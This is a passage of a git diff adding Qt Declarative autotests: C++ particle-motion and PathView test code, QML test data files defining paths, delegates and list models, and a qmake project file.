+ QDeclarativeView *canvas = createView(SRCDIR "/data/particlemotiontest.qml");
+ QVERIFY(canvas->rootObject());
+
+ QObject* particles = canvas->rootObject()->findChild<QObject*>("particles");
+ QVERIFY(particles);
+
+ QObject* motionGravity = canvas->rootObject()->findChild<QObject*>("motionGravity");
+ //QCOMPARE(qvariant_cast<QObject*>(particles->property("motion")), motionGravity);
+
+ QSignalSpy xattractorSpy(motionGravity, SIGNAL(xattractorChanged()));
+ QSignalSpy yattractorSpy(motionGravity, SIGNAL(yattractorChanged()));
+ QSignalSpy accelerationSpy(motionGravity, SIGNAL(accelerationChanged()));
+
+ QCOMPARE(motionGravity->property("xattractor").toDouble(), 0.0);
+ QCOMPARE(motionGravity->property("yattractor").toDouble(), 1000.0);
+ QCOMPARE(motionGravity->property("acceleration").toDouble(), 25.0);
+
+ motionGravity->setProperty("xattractor", 20.0);
+ motionGravity->setProperty("yattractor", 10.0);
+ motionGravity->setProperty("acceleration", 10.0);
+
+ QCOMPARE(motionGravity->property("xattractor").toDouble(), 20.0);
+ QCOMPARE(motionGravity->property("yattractor").toDouble(), 10.0);
+ QCOMPARE(motionGravity->property("acceleration").toDouble(), 10.0);
+
+ QCOMPARE(xattractorSpy.count(), 1);
+ QCOMPARE(yattractorSpy.count(), 1);
+ QCOMPARE(accelerationSpy.count(), 1);
+
+ motionGravity->setProperty("xattractor", 20.0);
+ motionGravity->setProperty("yattractor", 10.0);
+ motionGravity->setProperty("acceleration", 10.0);
+
+ QCOMPARE(xattractorSpy.count(), 1);
+ QCOMPARE(yattractorSpy.count(), 1);
+ QCOMPARE(accelerationSpy.count(), 1);
+}
+
+void tst_QDeclarativeParticles::motionWander()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/particlemotiontest.qml");
+ QVERIFY(canvas->rootObject());
+
+ QObject* particles = canvas->rootObject()->findChild<QObject*>("particles");
+ QVERIFY(particles);
+
+ QSignalSpy motionSpy(particles, SIGNAL(motionChanged()));
+ QObject* motionWander = canvas->rootObject()->findChild<QObject*>("motionWander");
+
+ QCOMPARE(motionSpy.count(), 0);
+ particles->setProperty("motion", QVariant::fromValue(motionWander));
+ //QCOMPARE(particles->property("motion"), QVariant::fromValue(motionWander));
+ //QCOMPARE(motionSpy.count(), 1);
+
+ particles->setProperty("motion", QVariant::fromValue(motionWander));
+ //QCOMPARE(motionSpy.count(), 1);
+
+ QSignalSpy xvarianceSpy(motionWander, SIGNAL(xvarianceChanged()));
+ QSignalSpy yvarianceSpy(motionWander, SIGNAL(yvarianceChanged()));
+ QSignalSpy paceSpy(motionWander, SIGNAL(paceChanged()));
+
+ QCOMPARE(motionWander->property("xvariance").toDouble(), 30.0);
+ QCOMPARE(motionWander->property("yvariance").toDouble(), 30.0);
+ QCOMPARE(motionWander->property("pace").toDouble(), 100.0);
+
+ motionWander->setProperty("xvariance", 20.0);
+ motionWander->setProperty("yvariance", 10.0);
+ motionWander->setProperty("pace", 10.0);
+
+ QCOMPARE(motionWander->property("xvariance").toDouble(), 20.0);
+ QCOMPARE(motionWander->property("yvariance").toDouble(), 10.0);
+ QCOMPARE(motionWander->property("pace").toDouble(), 10.0);
+
+ QCOMPARE(xvarianceSpy.count(), 1);
+ QCOMPARE(yvarianceSpy.count(), 1);
+ QCOMPARE(paceSpy.count(), 1);
+
+ QCOMPARE(motionWander->property("xvariance").toDouble(), 20.0);
+ QCOMPARE(motionWander->property("yvariance").toDouble(), 10.0);
+ QCOMPARE(motionWander->property("pace").toDouble(), 10.0);
+
+ QCOMPARE(xvarianceSpy.count(), 1);
+ QCOMPARE(yvarianceSpy.count(), 1);
+ QCOMPARE(paceSpy.count(), 1);
+}
+
+void tst_QDeclarativeParticles::runs()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/particlestest.qml");
+ QVERIFY(canvas->rootObject());
+
+ QObject* particles = canvas->rootObject()->findChild<QObject*>("particles");
+ QVERIFY(particles);
+ QTest::qWait(1000);//Run for one second. Test passes if it doesn't crash.
+}
+
+QDeclarativeView *tst_QDeclarativeParticles::createView(const QString &filename)
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ return canvas;
+}
+QTEST_MAIN(tst_QDeclarativeParticles)
+
+#include "tst_qdeclarativeparticles.moc"
diff --git a/tests/auto/declarative/qdeclarativepathview/data/closedPath.qml b/tests/auto/declarative/qdeclarativepathview/data/closedPath.qml
new file mode 100644
index 00000000..08b0d2a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/closedPath.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Path {
+ startY: 120
+ startX: 160
+ PathQuad {
+ y: 120
+ x: 80
+ controlY: 330
+ controlX: 100
+ }
+ PathLine {
+ y: 160
+ x: 20
+ }
+ PathCubic {
+ y: 120
+ x: 160
+ control1Y: 0
+ control1X: 100
+ control2Y: 000
+ control2X: 200
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/datamodel.qml b/tests/auto/declarative/qdeclarativepathview/data/datamodel.qml
new file mode 100644
index 00000000..e2c4e3dd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/datamodel.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+PathView {
+ id: pathview
+ property int viewCount: count
+ objectName: "pathview"
+ width: 240; height: 320
+ pathItemCount: testObject.pathItemCount
+
+ function checkProperties() {
+ testObject.error = false;
+ if (testObject.useModel && pathview.model != testData) {
+ console.log("model property incorrect");
+ testObject.error = true;
+ }
+ }
+
+ model: testObject.useModel ? testData : 0
+
+ delegate: Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ property bool onPath: PathView.onPath
+ width: 20; height: 20; color: name
+ Text {
+ objectName: "myText"
+ text: name
+ }
+ }
+ }
+
+ path: Path {
+ startX: 120; startY: 20;
+ PathLine { x: 120; y: 300 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml b/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml
new file mode 100644
index 00000000..88dfc57b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml
@@ -0,0 +1,59 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: delegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 60
+ color: "white"
+ border.color: "black"
+ Text {
+ text: index
+ }
+ Text {
+ x: 20
+ id: displayText
+ objectName: "displayText"
+ text: display
+ }
+ }
+ }
+ ]
+ PathView {
+ id: view
+ objectName: "view"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: delegate
+ path: Path {
+ startY: 120
+ startX: 160
+ PathQuad {
+ y: 120
+ x: 80
+ controlY: 330
+ controlX: 100
+ }
+ PathLine {
+ y: 160
+ x: 20
+ }
+ PathCubic {
+ y: 120
+ x: 160
+ control1Y: 0
+ control1X: 100
+ control2Y: 000
+ control2X: 200
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
new file mode 100644
index 00000000..0f948408
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+ width: 400
+ height: 200
+ model: 100
+ pathItemCount: 20
+ path: Path {
+ startX: 0; startY: 100
+ PathLine { x: 400; y: 100 }
+ }
+ delegate: Rectangle { objectName: "wrapper"; height: 100; width: 2; color: PathView.isCurrentItem?"red" : "black" }
+ dragMargin: 100
+ preferredHighlightBegin: 0.5
+ preferredHighlightEnd: 0.5
+ Text {
+ text: "current index: " + parent.currentIndex
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/emptymodel.qml b/tests/auto/declarative/qdeclarativepathview/data/emptymodel.qml
new file mode 100644
index 00000000..4deb45fd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/emptymodel.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+PathView {
+ model: emptyModel
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/openPath.qml b/tests/auto/declarative/qdeclarativepathview/data/openPath.qml
new file mode 100644
index 00000000..328e3cde
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/openPath.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Path {
+ startY: 120
+ startX: 160
+ PathLine {
+ y: 160
+ x: 20
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathUpdate.qml b/tests/auto/declarative/qdeclarativepathview/data/pathUpdate.qml
new file mode 100644
index 00000000..0c2ac0ce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathUpdate.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ PathView {
+ id: view
+ objectName: "pathView"
+ anchors.fill: parent
+ model: 10
+ delegate: Rectangle { objectName: "wrapper"; color: "green"; width: 100; height: 100 }
+ path: Path {
+ startX: view.width/2; startY: 0
+ PathLine { x: view.width/2; y: view.height }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathUpdateOnStartChanged.qml b/tests/auto/declarative/qdeclarativepathview/data/pathUpdateOnStartChanged.qml
new file mode 100644
index 00000000..bd732ab1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathUpdateOnStartChanged.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 800
+ height: 480
+ color: "black"
+ resources: [
+ ListModel {
+ id: appModel
+ ListElement { color: "green" }
+ },
+ Component {
+ id: appDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ color: "green"
+ width: 100
+ height: 100
+ }
+ }
+ ]
+ PathView {
+ id: pathView
+ objectName: "pathView"
+ model: appModel
+ anchors.fill: parent
+
+ transformOrigin: "Top"
+ delegate: appDelegate
+ path: Path {
+ objectName: "path"
+ startX: pathView.width / 2 // startX: 400 <- this works as expected
+ startY: 300
+ PathLine { x: 400; y: 120 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathtest.qml b/tests/auto/declarative/qdeclarativepathview/data/pathtest.qml
new file mode 100644
index 00000000..b13c0066
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathtest.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Path {
+ startX: 120; startY: 100
+
+ PathAttribute { name: "scale"; value: 1.0 }
+ PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 }
+ PathPercent { value: 0.3 }
+ PathLine { x: 120; y: 100 }
+ PathCubic {
+ x: 180; y: 0; control1X: -10; control1Y: 90
+ control2X: 210; control2Y: 90
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml
new file mode 100644
index 00000000..28b6fb9a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml
@@ -0,0 +1,84 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ property int count: view.count
+ property int currentA: -1
+ property int currentB: -1
+ property real delegateWidth: 60
+ property real delegateHeight: 20
+ property real delegateScale: 1.0
+ width: 240
+ height: 320
+ color: "#ffffff"
+ resources: [
+ Component {
+ id: delegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: root.delegateHeight
+ width: root.delegateWidth
+ scale: root.delegateScale
+ color: PathView.isCurrentItem ? "lightsteelblue" : "white"
+ border.color: "black"
+ Text {
+ text: index
+ }
+ Text {
+ x: 20
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 40
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ PathView.onCurrentItemChanged: {
+ if (PathView.isCurrentItem) {
+ root.currentA = index;
+ root.currentB = wrapper.PathView.view.currentIndex;
+ }
+ }
+ }
+ }
+ ]
+ PathView {
+ id: view
+ objectName: "view"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: delegate
+ highlight: Rectangle {
+ width: 60
+ height: 20
+ color: "yellow"
+ }
+ path: Path {
+ startY: 120
+ startX: 160
+ PathQuad {
+ y: 120
+ x: 80
+ controlY: 330
+ controlX: 100
+ }
+ PathLine {
+ y: 160
+ x: 20
+ }
+ PathCubic {
+ y: 120
+ x: 160
+ control1Y: 0
+ control1X: 100
+ control2Y: 000
+ control2X: 200
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview1.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview1.qml
new file mode 100644
index 00000000..d1ac5171
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathview1.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+PathView {
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview2.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview2.qml
new file mode 100644
index 00000000..1e1e893a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathview2.qml
@@ -0,0 +1,57 @@
+import QtQuick 1.0
+
+PathView {
+ id: photoPathView
+ y: 100; width: 800; height: 330; pathItemCount: 10; z: 1
+
+ path: Path {
+ startX: -50; startY: 40;
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: -45 }
+
+ PathCubic {
+ x: 400; y: 220
+ control1X: 140; control1Y: 40
+ control2X: 210; control2Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 1.2 }
+ PathAttribute { name: "angle"; value: 0 }
+
+ PathCubic {
+ x: 850; y: 40
+ control2X: 660; control2Y: 40
+ control1X: 590; control1Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: 45 }
+ }
+
+ model: ListModel {
+ id: rssModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "thistle" }
+ }
+
+ delegate: Component {
+ id: photoDelegate
+ Rectangle {
+ id: wrapper
+ width: 85; height: 85; color: lColor
+ scale: wrapper.PathView.scale
+
+ transform: Rotation {
+ id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
+ axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml
new file mode 100644
index 00000000..cd1ba037
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml
@@ -0,0 +1,59 @@
+import QtQuick 1.0
+
+PathView {
+ id: photoPathView
+ y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1
+ dragMargin: 24
+ preferredHighlightBegin: 0.50
+ preferredHighlightEnd: 0.50
+
+ path: Path {
+ startX: -50; startY: 40;
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: -45 }
+
+ PathCubic {
+ x: 400; y: 220
+ control1X: 140; control1Y: 40
+ control2X: 210; control2Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 1.2 }
+ PathAttribute { name: "angle"; value: 0 }
+
+ PathCubic {
+ x: 850; y: 40
+ control2X: 660; control2Y: 40
+ control1X: 590; control1Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: 45 }
+ }
+
+ model: ListModel {
+ id: rssModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "thistle" }
+ }
+
+ delegate: Component {
+ id: photoDelegate
+ Rectangle {
+ id: wrapper
+ width: 85; height: 85; color: lColor
+
+ transform: Rotation {
+ id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
+ axis.y: 1; axis.z: 0
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview_package.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview_package.qml
new file mode 100644
index 00000000..f9157bdd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/pathview_package.qml
@@ -0,0 +1,88 @@
+import QtQuick 1.0
+
+Item {
+ width: 800; height: 600
+ Component {
+ id: photoDelegate
+ Package {
+ Item { id: pathItem; objectName: "pathItem"; Package.name: 'path'; width: 85; height: 85; scale: pathItem.PathView.scale }
+ Item { id: linearItem; Package.name: 'linear'; width: 85; height: 85 }
+ Rectangle {
+ id: wrapper
+ width: 85; height: 85; color: lColor
+
+ transform: Rotation {
+ id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
+ axis.y: 1; axis.z: 0
+ }
+ state: 'path'
+ states: [
+ State {
+ name: 'path'
+ ParentChange { target: wrapper; parent: pathItem; x: 0; y: 0 }
+ PropertyChanges { target: wrapper; opacity: pathItem.PathView.onPath ? 1.0 : 0 }
+ }
+ ]
+ }
+ }
+ }
+ ListModel {
+ id: rssModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "thistle" }
+ }
+ VisualDataModel { id: visualModel; model: rssModel; delegate: photoDelegate }
+
+ PathView {
+ id: photoPathView
+ objectName: "photoPathView"
+ width: 800; height: 330; pathItemCount: 4; offset: 1
+ dragMargin: 24
+ preferredHighlightBegin: 0.50
+ preferredHighlightEnd: 0.50
+
+ path: Path {
+ startX: -50; startY: 40;
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: -45 }
+
+ PathCubic {
+ x: 400; y: 220
+ control1X: 140; control1Y: 40
+ control2X: 210; control2Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 1.2 }
+ PathAttribute { name: "angle"; value: 0 }
+
+ PathCubic {
+ x: 850; y: 40
+ control2X: 660; control2Y: 40
+ control1X: 590; control1Y: 220
+ }
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: 45 }
+ }
+
+ model: visualModel.parts.path
+ }
+
+ PathView {
+ y: 400; width: 800; height: 330; pathItemCount: 8
+
+ path: Path {
+ startX: 0; startY: 40;
+ PathLine { x: 800; y: 40 }
+ }
+
+ model: visualModel.parts.linear
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml b/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml
new file mode 100644
index 00000000..c0cc8555
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml
@@ -0,0 +1,116 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 350; height: 220; color: "white"
+ Component {
+ id: myDelegate
+ Item {
+ id: wrapper
+ width: 180; height: 40;
+ opacity: PathView.opacity
+ Column {
+ x: 5; y: 5
+ Text { text: '<b>Name:</b> ' + name }
+ Text { text: '<b>Number:</b> ' + number }
+ }
+ }
+ }
+
+ PathView {
+ preferredHighlightBegin: 0.1
+ preferredHighlightEnd: 0.1
+ dragMargin: 5.0
+ id: pathView
+ objectName: "pathView"
+ anchors.fill: parent
+ model: listModel
+ delegate: myDelegate
+ focus: true
+ path: Path {
+ id: myPath
+ objectName: "path"
+ startX: 220; startY: 200
+ PathAttribute { name: "opacity"; value: 1.0; objectName: "pathAttribute"; }
+ PathQuad { x: 220; y: 25; controlX: 260; controlY: 75 }
+ PathAttribute { name: "opacity"; value: 0.3 }
+ PathQuad { x: 220; y: 200; controlX: -20; controlY: 75 }
+ }
+ Timer {
+ interval: 2000; running: true; repeat: true
+ onTriggered: {
+ if (pathView.path == alternatePath)
+ pathView.path = myPath;
+ else
+ pathView.path = alternatePath;
+ }
+ }
+ }
+
+ data:[
+ ListModel {
+ id: listModel
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+ },
+ ListModel {
+ objectName: "alternateModel"
+ ListElement {
+ name: "Jack"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Mary"
+ number: "555 3264"
+ }
+ },
+ Path {
+ id: alternatePath
+ objectName: "alternatePath"
+ startX: 100; startY: 40
+ PathAttribute { name: "opacity"; value: 0.0 }
+ PathLine { x: 100; y: 160 }
+ PathAttribute { name: "opacity"; value: 0.2 }
+ PathLine { x: 300; y: 160 }
+ PathAttribute { name: "opacity"; value: 0.0 }
+ PathLine { x: 300; y: 40 }
+ PathAttribute { name: "opacity"; value: 0.2 }
+ PathLine { x: 100; y: 40 }
+ }
+ ]
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
new file mode 100644
index 00000000..56f7ae46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+ width: 320
+ height: 240
+ function setRoot(index) {
+ vdm.rootIndex = vdm.modelIndex(index);
+ }
+ model: VisualDataModel {
+ id: vdm
+ model: myModel
+ delegate: Text { objectName: "wrapper"; text: display }
+ }
+
+ path: Path {
+ startX: 0; startY: 120
+ PathLine { x: 320; y: 120 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/undefinedpath.qml b/tests/auto/declarative/qdeclarativepathview/data/undefinedpath.qml
new file mode 100644
index 00000000..5a647cb0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/undefinedpath.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+PathView {
+ id: pathView
+ width: 240; height: 200
+ path: Path {
+ startX: pathView.undef/2.0; startY: 0
+ PathLine { x: pathView.undef/2.0; y: 0 }
+ }
+
+ delegate: Text { text: value }
+ model: ListModel {
+ ListElement { value: "one" }
+ ListElement { value: "two" }
+ ListElement { value: "three" }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/vdm.qml b/tests/auto/declarative/qdeclarativepathview/data/vdm.qml
new file mode 100644
index 00000000..012db3fb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/vdm.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+PathView {
+ id: pathView
+ width: 240; height: 320
+
+ pathItemCount: 4
+ preferredHighlightBegin : 0.5
+ preferredHighlightEnd : 0.5
+
+ path: Path {
+ startX: 120; startY: 20;
+ PathLine { x: 120; y: 300 }
+ }
+
+ ListModel {
+ id: mo
+ ListElement { value: "one" }
+ ListElement { value: "two" }
+ ListElement { value: "three" }
+ }
+
+ model: VisualDataModel {
+ delegate: Text { text: model.value }
+ model : mo
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativepathview/qdeclarativepathview.pro b/tests/auto/declarative/qdeclarativepathview/qdeclarativepathview.pro
new file mode 100644
index 00000000..e0404c55
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/qdeclarativepathview.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepathview.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
new file mode 100644
index 00000000..cb5b135e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
@@ -0,0 +1,1065 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/private/qdeclarativepathview_p.h>
+#include <QtDeclarative/private/qdeclarativepath_p.h>
+#include <QtDeclarative/private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativerectangle_p.h>
+#include <QtDeclarative/private/qdeclarativelistmodel_p.h>
+#include <QtDeclarative/private/qdeclarativevaluetype_p.h>
+#include <QAbstractListModel>
+#include <QStringListModel>
+#include <QStandardItemModel>
+#include <QFile>
+
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+static void initStandardTreeModel(QStandardItemModel *model)
+{
+ QStandardItem *item;
+ item = new QStandardItem(QLatin1String("Row 1 Item"));
+ model->insertRow(0, item);
+
+ item = new QStandardItem(QLatin1String("Row 2 Item"));
+ item->setCheckable(true);
+ model->insertRow(1, item);
+
+ QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item"));
+ item->setChild(0, childItem);
+
+ item = new QStandardItem(QLatin1String("Row 3 Item"));
+ item->setIcon(QIcon());
+ model->insertRow(2, item);
+}
+
+
+class tst_QDeclarativePathView : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativePathView();
+
+private slots:
+ void initValues();
+ void items();
+ void dataModel();
+ void pathview2();
+ void pathview3();
+ void path();
+ void pathMoved();
+ void setCurrentIndex();
+ void resetModel();
+ void propertyChanges();
+ void pathChanges();
+ void componentChanges();
+ void modelChanges();
+ void pathUpdateOnStartChanged();
+ void package();
+ void emptyModel();
+ void closed();
+ void pathUpdate();
+ void visualDataModel();
+ void undefinedPath();
+ void mouseDrag();
+ void treeModel();
+ void changePreferredHighlight();
+
+private:
+ QDeclarativeView *createView();
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &objectName, int index=-1);
+ template<typename T>
+ QList<T*> findItems(QGraphicsObject *parent, const QString &objectName);
+};
+
+class TestObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool error READ error WRITE setError)
+ Q_PROPERTY(bool useModel READ useModel NOTIFY useModelChanged)
+ Q_PROPERTY(int pathItemCount READ pathItemCount NOTIFY pathItemCountChanged)
+
+public:
+ TestObject() : QObject(), mError(true), mUseModel(true), mPathItemCount(-1) {}
+
+ bool error() const { return mError; }
+ void setError(bool err) { mError = err; }
+
+ bool useModel() const { return mUseModel; }
+ void setUseModel(bool use) { mUseModel = use; emit useModelChanged(); }
+
+ int pathItemCount() const { return mPathItemCount; }
+ void setPathItemCount(int count) { mPathItemCount = count; emit pathItemCountChanged(); }
+
+signals:
+ void useModelChanged();
+ void pathItemCountChanged();
+
+private:
+ bool mError;
+ bool mUseModel;
+ int mPathItemCount;
+};
+
+class TestModel : public QAbstractListModel
+{
+public:
+ enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 };
+
+ TestModel(QObject *parent=0) : QAbstractListModel(parent) {
+ QHash<int, QByteArray> roles;
+ roles[Name] = "name";
+ roles[Number] = "number";
+ setRoleNames(roles);
+ }
+
+ int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); }
+ QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const {
+ QVariant rv;
+ if (role == Name)
+ rv = list.at(index.row()).first;
+ else if (role == Number)
+ rv = list.at(index.row()).second;
+
+ return rv;
